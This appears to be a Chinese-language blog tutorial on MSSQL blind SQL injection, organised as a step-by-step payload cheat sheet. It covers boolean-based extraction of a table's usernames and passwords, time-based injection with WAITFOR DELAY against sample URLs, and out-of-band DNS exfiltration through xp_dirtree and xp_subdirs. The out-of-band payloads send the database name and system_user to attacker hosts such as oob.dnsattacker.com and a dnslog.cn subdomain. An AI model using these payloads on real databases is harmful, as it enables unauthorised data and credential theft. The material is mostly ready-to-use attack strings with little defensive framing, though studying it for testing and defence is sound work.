MSSQL之盲注

目录:

  • 布尔盲注
    • 第一步 判断注入
    • 第二步 猜解列数
    • 第三步 猜数据库名,表名:
    • 第四步 猜解字段
    • 第五步 判断字段长度
    • 第六步 猜解字段内容
  • 时间盲注
    • 利用条件
    • 注入语句
  • OOB 注入
    • 利用条件
    • 原理
    • 检测
    • 利用/渗出

布尔盲注

总结
布尔盲注就是靠逐个猜测与尝试弱口令的的方法,有报错的就是猜错了,没报错就对了。

第一步 判断注入

  • and 1=1

  • and 1=2

第二步 猜解列数

  • order by 1 #返回正确

  • order by 2 #返回正确

  • order by 3 #抛出错误

第三步 猜数据库名,表名:

  • and (select count(*) from sysobjects)>0 #确定SQLSERVER数据库

  • and (select count(*) from manage)>0 #确定数据表

  • and (select count(*) from manage)=1,2,3,4,5 #确定长度

第四步 猜解字段

  • and exists(select username from manage),#返回正常,字段名正确

  • and exists(select password from manage), #返回正常,字段名正确

第五步 判断字段长度

  • and exists(select id from manage where ID=1) #判断ID=1是否存在

  • and exists(select id from manage where len(username)=1 and ID=1)
    #猜解username字段长度,依次尝试

  • and exists(select id from manage where len(username)=8 and ID=1),
    #username#字段长度为8

  • and exists(select id from manage where len(password)=1 and ID=1),
    #猜解password字段长度

  • and exists(select id from manage where len(password)=16 and ID=1),
    #password字段长度为16

第六步 猜解字段内容

  • and exists (select id from manage where - unicode(substring(username,1,1))=65 and ID=1)
    #得出数字,然后对照unicode编码表进行破解

MSSQL之盲注_第1张图片

时间盲注

利用条件

能用堆叠,利用 waitfor delay ‘*’ 延时

注入语句

例:

  • http://127.0.0.1/1.aspx?id=1;if(ascii(substring((select user),1,1)))=100 WAITFOR DELAY ‘0:0:5’
    #判断用户的第一个字母ascii码是否为100,是就延时五秒

  • http://192.168.130.137/1.aspx?id=1;if(select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’
    #看下当前角色是否为数据库管理员,是就延时五秒

  • http://192.168.130.137/1.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY ‘0:0:5’
    #判断数据库名字

OOB 注入

利用条件

  1. 必须堆叠

  2. 必须sa

原理

  • 是用 xp_subdirs ,xp_dirtree, xp_fileexist, xp_fileexists,xp_getfiledetails,sp_add_jobstep 等方法创建DNS查询,读取smb共享域名。

  • 也有用 OpenRowset()OpenDatasource() 的办法,这两个函数为远程加载其他mssql数据库,默认关闭。

    declare @host varchar(1024);

    select @host=convert(varchar(1024),db_name())+’.vj0r9q.dnslog.cn’;

    exec(‘master…xp_subdirs "\\’+@host+’"’);

  • 或者

    exec(‘master…xp_dirtree "\\’+@host+’"’);

    exec(‘master…xp_fileexist "\\’+@host+’\test"’);

检测

受害者

EXEC master…xp_dirtree ‘\\oob.dnsattacker.com \’ –

MSSQL之盲注_第2张图片

利用/渗出

受害者

DECLARE @data varchar (1024 ); SELECT @data = (SELECT system_user ); EXEC(‘master…xp_dirtree "\\’+@data+’.oob.dnsattacker.com\foo$"’);

MSSQL之盲注_第3张图片

你可能感兴趣的:(漏洞利用,MSSQL,注入,盲注)